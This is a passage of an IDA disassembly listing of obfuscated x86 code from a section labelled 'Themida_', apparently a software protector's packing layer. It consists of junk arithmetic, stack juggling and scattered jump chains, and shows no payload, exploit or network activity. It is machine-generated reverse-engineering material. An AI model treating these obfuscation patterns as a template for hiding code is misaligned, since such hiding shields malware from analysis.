; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_5A02F3:				; CODE XREF: Themida_:005965C4j
		add	ebp, 5E0162Dh
		add	edx, ebp
		pop	ebp
		add	edx, 10B701B5h
		push	eax
		jmp	loc_59BC4B
; ---------------------------------------------------------------------------


loc_5A0308:				; CODE XREF: Themida_:0059806Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		xor	esi, 3D4F3A66h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_593274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0331:				; CODE XREF: sub_59390B+4BCBj
		add	esp, 4
		push	edi
		jmp	loc_59365F
; ---------------------------------------------------------------------------


loc_5A033A:				; CODE XREF: sub_59390B+97C8j
		add	esp, 4
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A0342:				; CODE XREF: sub_59CAFB-63F0j
		mov	ecx, [esp+8+var_8]
		jmp	loc_594FDC
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_5A034A:				; CODE XREF: Themida_:0059C5BFj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_594AE5

; =============== S U B	R O U T	I N E =======================================



sub_5A0356	proc near		; DATA XREF: Themida_:00590A2Co
		push	dword ptr [edi+2Ch]
		jmp	loc_590A9B
sub_5A0356	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5A035E:				; CODE XREF: sub_5932F7+BA1Ej
		and	eax, ebp
		push	[esp-8+arg_4]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_5A19A0
		push	dword ptr [edi+1Ch]
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A43B5
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A038F:				; CODE XREF: sub_59A4D6-1250j
		push	edi
		jmp	loc_59F860
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A0395:				; CODE XREF: Themida_:00591434j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_591C0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BF22


loc_5A03AF:				; CODE XREF: sub_59BF22-151Dj
		add	eax, 4
		push	6A78h
		mov	[esp+8+var_8], edi
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 732C415Bh
		add	ebx, 5B570984h
		jmp	loc_592824
; END OF FUNCTION CHUNK	FOR sub_59BF22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A03D2:				; CODE XREF: sub_59390B+8AFj
		mov	al, 0C7h
		push	edx
		mov	dl, al
		push	eax
		mov	ah, dl
		jmp	loc_5A56E8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A03DF:				; CODE XREF: Themida_:005A00A3j
		sub	al, 89h
		sub	al, ch
		push	ecx
		mov	cl, 89h
		jmp	loc_59F69B
; ---------------------------------------------------------------------------


loc_5A03EB:				; CODE XREF: Themida_:0059EF39j
		pop	esi
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esi, 0FFFFFFFFh
		jmp	loc_59471C
; ---------------------------------------------------------------------------


loc_5A040A:				; CODE XREF: Themida_:005986C7j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 7DB31DE3h
		or	ebp, 4CA13B48h
		push	ebx
		jmp	loc_5A5B4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5A0424:				; CODE XREF: sub_595BAD-711j
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		shr	ecx, 0Bh
		push	edi
		mov	edi, ebx
		jmp	loc_5A2847
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0435:				; CODE XREF: sub_59390B+1B8j
		push	7BF8h
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	dword ptr [esp+0]
		jmp	sub_59897B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_5A044C:				; CODE XREF: sub_595949+7j
		pop	edi
		jmp	loc_59D03D
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------


loc_5A0452:				; CODE XREF: Themida_:005923DEj
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xor	edi, [esp]
		jmp	loc_594645
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A0463:				; CODE XREF: sub_59CFD4-27B4j
		sub	[esp+10h+var_4], eax
		pop	eax
		pop	ecx
		jmp	loc_5A571C
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A046E:				; CODE XREF: sub_59390B+D884j
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		pop	eax
		jmp	loc_59308F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F401


loc_5A047B:				; CODE XREF: sub_59F401+6j
		sub	[esp+8], ebx
		jmp	loc_59EB87
; END OF FUNCTION CHUNK	FOR sub_59F401
; ---------------------------------------------------------------------------


loc_5A0484:				; CODE XREF: Themida_:0059C3FEj
		xchg	eax, [esp]
		jmp	loc_5A3E5F
; ---------------------------------------------------------------------------


loc_5A048C:				; CODE XREF: Themida_:0059D5DAj
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		dec	ebx
		sub	ebx, 0FFFD39F8h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59E6AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A04AA:				; CODE XREF: sub_59CFD4+70Bj
		pop	ecx
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		pop	eax
		sub	edi, ebp
		pop	ebp
		push	edi
		sub	[esp+14h+var_14], 20A273ACh
		jmp	loc_59D878
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B2AF


loc_5A04C0:				; CODE XREF: sub_59B2AF+1B3Aj
		add	esi, 6C930515h
		pop	ebp
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		btc	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59B2AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_5A04D8:				; CODE XREF: sub_5A0733+DE7j
		neg	edi
		neg	edi
		shr	edi, 7
		jmp	loc_5958DB
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------


loc_5A04E4:				; CODE XREF: Themida_:005A47F1j
		or	eax, 796F558Ch
		shr	eax, 3
		jmp	loc_59111B
; ---------------------------------------------------------------------------


loc_5A04F1:				; CODE XREF: Themida_:005A4D63j
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_598931
; ---------------------------------------------------------------------------


loc_5A0507:				; CODE XREF: Themida_:0059569Ej
		push	ecx
		jmp	loc_59EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5999A4


loc_5A050D:				; CODE XREF: sub_5999A4+AF0Aj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+4+var_4]
		xor	[esp+4+var_4], ebx
		xor	ebx, [esp+4+var_4]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp-4+arg_0]
		xor	[esp-4+arg_0], ebx
		xor	ebx, [esp-4+arg_0]
		pop	esp
		push	[esp-8+arg_4]
		pop	ecx
		push	2653h
		mov	[esp-4+arg_0], ebp
		push	esp
		jmp	loc_593951
; END OF FUNCTION CHUNK	FOR sub_5999A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A055B:				; CODE XREF: sub_59390B+1036Aj
		sub	esi, 5BFF4A4Fh
		add	esi, ecx
		jmp	loc_59C098
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A0568:				; CODE XREF: sub_594D13+C599j
		push	edi
		sub	esp, 4
		jmp	loc_59551F
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_5A0574:				; CODE XREF: Themida_:00591DF7j
		xchg	ecx, [esp]
		pop	esp
		xor	di, cx
		jmp	loc_59C6EF
; ---------------------------------------------------------------------------


loc_5A0580:				; CODE XREF: Themida_:005A0DF4j
		add	esp, 4
		add	dword ptr [esp], 35B45DA8h
		add	[esp], eax
		sub	dword ptr [esp], 35B45DA8h
		jmp	loc_591E54

; =============== S U B	R O U T	I N E =======================================



sub_5A059C	proc near		; CODE XREF: sub_59390B+83ACj
		push	ebx
		push	ebp
		push	1B741609h
		pop	ebp
		or	ebp, 2CF03B3Ah
		shr	ebp, 3
		xor	ebp, 3DB897C9h
		mov	ebx, ebp
		pop	ebp
		push	ebp
		jmp	sub_59BBA6
sub_5A059C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A05BC:				; CODE XREF: sub_59390B+11736j
		sub	esi, edx
		add	esi, 40BA7780h
		pop	edx
		xchg	esi, [esp-0Ch+arg_4]
		pop	esp
		mov	[esp-10h+arg_8], esi
		mov	esi, ebx
		push	esi
		pop	ecx
		mov	esi, [esp-10h+arg_8]
		jmp	loc_59ADF4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A05D8:				; CODE XREF: Themida_:00597F4Fj
		pop	edi
		xor	edi, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		inc	edi
		jmp	loc_5968BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A05E8:				; CODE XREF: sub_59390B+3C3Cj
		add	esi, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_59AE6F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5A0606:				; CODE XREF: Themida_:00598828j
		add	eax, 0B890A45h
		sub	ebx, 74FB111Bh
		add	ebx, eax
		push	edi
		mov	edi, 4A1036C1h
		neg	edi
		push	esi
		mov	esi, 40F4B824h
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, 63972C6Dh
		mov	edx, ebp
		pop	ebp
		jmp	loc_5A2EDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D02F


loc_5A0641:				; CODE XREF: sub_59D02F-420Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		jmp	loc_59D108
; END OF FUNCTION CHUNK	FOR sub_59D02F
; ---------------------------------------------------------------------------


loc_5A0659:				; CODE XREF: Themida_:00598A2Cj
		push	eax
		jmp	loc_59C569
; ---------------------------------------------------------------------------


loc_5A065F:				; CODE XREF: Themida_:0059B683j
		push	esi
		mov	esi, 6FDE1436h
		shl	esi, 4
		jmp	loc_59F12C
; ---------------------------------------------------------------------------


loc_5A066D:				; CODE XREF: Themida_:0059E44Aj
		push	ebp
		jmp	loc_59AD09
; ---------------------------------------------------------------------------


loc_5A0673:				; CODE XREF: Themida_:005A47E4j
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_593008
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5A069F:				; CODE XREF: sub_599AE1+90E6j
		xchg	ebx, edx
		jmp	loc_593657
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BCC8


loc_5A06A6:				; CODE XREF: sub_59BCC8+14j
		pop	ebp
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_5939F9
; END OF FUNCTION CHUNK	FOR sub_59BCC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A06CA:				; CODE XREF: sub_59CAFB-207Fj
		mov	ebx, eax
		push	4220h
		mov	[esp+10h+var_10], ebp
		jmp	loc_593669
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_5A06D9:				; CODE XREF: sub_59A4D6-3193j
		add	esp, 4
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		or	edx, eax
		shl	edx, 1
		push	3B92h
		jmp	loc_595644
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_5A06F0:				; CODE XREF: Themida_:0059AE09j
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 1D4B7BC3h
		xor	ebp, 7D7B3A47h
		jmp	loc_597505
; ---------------------------------------------------------------------------


loc_5A070C:				; CODE XREF: Themida_:00598F3Fj
		mov	ecx, 40942B4h
		sub	[esp+8], ecx
		pop	ecx
		jmp	loc_59E204
; ---------------------------------------------------------------------------


loc_5A071B:				; CODE XREF: Themida_:005A44B7j
		add	esp, 4
		jmp	loc_59E2D9
; ---------------------------------------------------------------------------


loc_5A0723:				; CODE XREF: Themida_:005A022Aj
		mov	[esp], ecx
		mov	cl, 0D3h
		dec	cl
		xchg	bl, cl
		not	bl
		jmp	loc_59700A

; =============== S U B	R O U T	I N E =======================================



sub_5A0733	proc near		; CODE XREF: sub_59C623+11FAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005958DB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00598C56 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00599AD3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A450 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AC48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B2DE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C02B SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0059C191 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059C73E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059CD67 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A02E7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A04D8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0B4F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A1505 SIZE 0000001A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		jmp	loc_59C191
sub_5A0733	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A073E:				; CODE XREF: sub_59CFD4-7FA9j
		mov	esp, [esp+0Ch+var_C]
		or	eax, eax
		jz	loc_596E09
		push	dword ptr [edi+1Ch]
		jmp	loc_59A7E5
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0751:				; CODE XREF: sub_59390B-27D2j
		neg	edx
		add	edx, 5C26479Fh
		add	ebx, edx
		pop	edx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		pop	esi
		push	56F3h
		mov	[esp+0], esi
		mov	esi, 38BD3736h
		add	ebx, esi
		pop	esi
		sub	ebx, eax
		sub	ebx, 38BD3736h
		push	edx
		mov	edx, 20101D75h
		add	ebx, edx
		pop	edx
		jmp	loc_5A0D7F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		mov	ecx, 34D26FF6h
		shl	ecx, 3
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		push	18C3h
		jmp	loc_59501B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A07A3:				; CODE XREF: sub_59390B+323Aj
		xor	ecx, 749A2E8Ch
		add	ecx, 7EEB42BFh
		xor	eax, ecx
		pop	ecx
		xor	ebp, eax
		pop	eax
		mov	esi, [esp+0]
		add	esp, 4
		xchg	ebx, ebp
		jmp	loc_5A02CA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_5A07C2:				; CODE XREF: sub_59F8C2-ECF8j
		pop	esp
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 7961DD6h
		push	ebx
		jmp	loc_59FE63
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------


loc_5A07D2:				; CODE XREF: Themida_:0059C3A3j
		add	eax, 4
		jmp	loc_596FC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5A07DC:				; CODE XREF: sub_5A3536+189Aj
		push	ecx
		mov	ecx, 5445144Dh
		xor	ecx, 7B7A008Ah
		dec	ecx
		sub	ecx, 1A59643Ch
		neg	ecx
		or	ecx, 6B1B6FFCh
		add	ecx, 0D751E2F2h
		mov	edx, ecx
		pop	ecx
		add	ebx, edx
		pop	edx
		shr	ebx, 6
		shl	ebx, 7
		xor	ebx, 3D06AA02h
		sub	edx, 55600189h
		add	edx, ebx
		add	edx, 55600189h
		pop	ebx
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		xor	edx, [esp+8+var_8]
		jmp	loc_597B04
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	6764h
		mov	[esp], edx
		jmp	loc_59BB8B
; ---------------------------------------------------------------------------


loc_5A0845:				; CODE XREF: Themida_:005A1F33j
		mov	ebp, 16250673h
		xor	ebp, 4CC104E5h
		push	ecx
		mov	ecx, 1CD917B0h
		or	ebp, ecx
		jmp	loc_59DB5C

; =============== S U B	R O U T	I N E =======================================



sub_5A085D	proc near		; DATA XREF: Themida_:00590A3Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= dword	ptr -6
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005916A1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005928F6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00595552 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595B14 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005964E0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00599670 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059EBA9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059EE14 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A2D41 SIZE 0000000D BYTES

		lodsb
		sub	al, 0E9h
		add	al, bl
		push	ecx
		mov	ch, 43h
		sub	ch, 20h
		jmp	loc_5928F6
sub_5A085D	endp

; ---------------------------------------------------------------------------


loc_5A086D:				; CODE XREF: Themida_:0059B591j
		mov	[esp], eax
		jmp	loc_598493
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0875:				; CODE XREF: sub_59390B+4CA7j
		pop	ecx
		jmp	loc_5A0C76
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F294


loc_5A087B:				; CODE XREF: sub_59F294-11FBj
		mov	[esp+0], ebx
		jmp	loc_5A1B15
; END OF FUNCTION CHUNK	FOR sub_59F294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A12B1


loc_5A0883:				; CODE XREF: sub_5A12B1+Dj
		pop	esi
		jmp	sub_591FE1
; END OF FUNCTION CHUNK	FOR sub_5A12B1
; ---------------------------------------------------------------------------


loc_5A0889:				; CODE XREF: Themida_:0059C1BFj
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0897:				; CODE XREF: sub_59390B-1553j
		push	esp
		mov	esi, [esp-16h+arg_C+2]
		add	esp, 4
		add	esi, 4
		push	edx
		jmp	loc_5A5036
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_5A08AD:				; CODE XREF: sub_595949+4223j
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	sub_59D29C
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5A08D0:				; CODE XREF: sub_59886E+AC5Fj
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		jmp	loc_5A1BC9
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------


loc_5A08DA:				; CODE XREF: Themida_:0059B4FDj
		pop	ebx
		push	edi
		push	12F6h
		mov	[esp], edx
		push	0F17C43h
		jmp	loc_59EB0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_5A08EE:				; CODE XREF: sub_59CAFB+5275j
		add	ebp, 4
		push	4E5Ch
		mov	[esp+0Ch+var_C], esi
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 42C72487h
		mov	esi, 0BD38DB7Dh
		jmp	loc_59D265
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0914:				; CODE XREF: sub_59390B+5CD6j
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		bts	[esp+0], ax
		pushf
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5A0925:				; CODE XREF: sub_594D13+5174j
		mov	[esp+4+var_4], eax
		push	ebp
		jmp	loc_59537B
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------


loc_5A092E:				; CODE XREF: Themida_:0059D7D1j
		mov	[esp], edi
		jmp	loc_59B536
; ---------------------------------------------------------------------------


loc_5A0936:				; CODE XREF: Themida_:00595C16j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59EDB0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	29E4h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A3292
; ---------------------------------------------------------------------------


loc_5A0979:				; CODE XREF: Themida_:00591547j
		mov	ah, 57h
		not	ah
		sub	ah, 0D0h
		xor	dl, ah
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, 4Dh
		sub	al, 0EFh
		sub	al, dl
		add	al, 0EFh
		sub	al, 4Dh
		pop	edx
		push	edx
		push	cx
		mov	ch, 39h
		push	eax
		mov	ah, ch
		mov	dh, ah
		jmp	loc_59E750
; ---------------------------------------------------------------------------


loc_5A09B2:				; CODE XREF: Themida_:0059B63Cj
		push	ebx
		push	esp
		push	dword ptr [esp]
		jmp	loc_59DAC7

; =============== S U B	R O U T	I N E =======================================



sub_5A09BC	proc near		; CODE XREF: sub_592E1C+2A62j

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005955EF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00598CAB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059AB38 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B5F7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FCA2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A24DE SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A29B0 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_5A29B0
sub_5A09BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A09C2:				; CODE XREF: Themida_:00597EB2j
		or	edi, 7BA00C01h
		sub	edi, 8AB39602h
		jmp	loc_5A0E85
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		mov	ecx, 4
		jmp	loc_5A1835
; ---------------------------------------------------------------------------


loc_5A09E6:				; CODE XREF: Themida_:0059F3FCj
		pop	ecx
		add	[esp+8], eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	edx
		push	ebp
		jmp	loc_594C73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A09FD:				; CODE XREF: sub_59390B+6CCBj
		mov	[esp+0], eax
		mov	eax, 78146437h
		jmp	loc_59400F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597198


loc_5A0A0A:				; CODE XREF: sub_597198-66F9j
		mov	[esp+4+var_4], edi
		push	esp
		push	[esp+8+var_8]
		pop	edi
		jmp	sub_59390B
; END OF FUNCTION CHUNK	FOR sub_597198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5A0A17:				; CODE XREF: sub_5A0BFE-8E13j
		mov	[esp-0Ch+arg_8], edx
		mov	edx, 1
		sub	ebp, edx
		jmp	loc_591125
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_5A0A26:				; CODE XREF: sub_59FD45-8DABj
		mov	ebx, 20h
		jmp	loc_59BC23
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_5A0A30:				; CODE XREF: Themida_:005A3483j
		push	esp
		jmp	loc_593ADD
; ---------------------------------------------------------------------------


loc_5A0A36:				; CODE XREF: Themida_:005960CDj
		sub	edx, 0A3428953h
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A31BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5A0A4A:				; CODE XREF: sub_59CFD4-33E3j
		push	ecx
		push	edi
		mov	edi, 54A925ABh
		xor	edi, 5F8871A5h
		shr	edi, 4
		not	edi
		sub	edi, 9BCFC287h
		mov	ecx, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		push	edi
		mov	edi, 4F0A74A1h
		shl	edi, 2
		shr	edi, 5
		jmp	loc_5A108B
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5A0A7E:				; CODE XREF: sub_59390B+9A6Aj
		add	eax, 6ECA5173h
		mov	ecx, [esp-8+arg_0]
		add	esp, 4
		push	ebx
		mov	ebx, 3EDC7341h
		add	eax, ebx
		pop	ebx
		jmp	loc_59AC41
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592586


loc_5A0A97:				; CODE XREF: sub_592586+F031j
		mov	[esp-4+arg_0], eax
		push	6038h
		mov	[esp+0], ecx
		push	edi
		mov	edi, 66053763h
		add	edi, 69277307h
		shl	edi, 7
		xor	edi, 631D4EFAh
		and	edi, 329D48ACh
		shl	edi, 5
		xor	edi, 617F126Dh
